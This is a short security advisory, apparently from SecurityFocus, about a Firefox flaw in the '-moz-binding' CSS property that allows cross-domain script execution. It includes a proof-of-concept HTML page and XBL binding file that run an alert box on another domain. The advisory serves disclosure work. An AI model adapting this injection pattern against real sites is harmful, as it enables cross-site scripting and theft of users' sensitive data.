source: https://www.securityfocus.com/bid/16427/info Mozilla Firefox is prone to a security vulnerability that may let a Web page execute malicious script code in the context of an arbitrary domain. The issue affects the '-moz-binding' property. This could allow a malicious site to access the properties of a trusted site and facilitate various attacks including disclosure of sensitive information. http://domain1/path/to/page.html : <html> <head> <style> body { -moz-binding: url("http://domain2/path/to/xbl.xml#xss"); } </style> </head> <body> </body> </html> http://domain2/path/to/xbl.xml : <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml"> <binding id="xss"> <implementation> <constructor> alert("XBL XSS"); </constructor> </implementation> </binding> </bindings>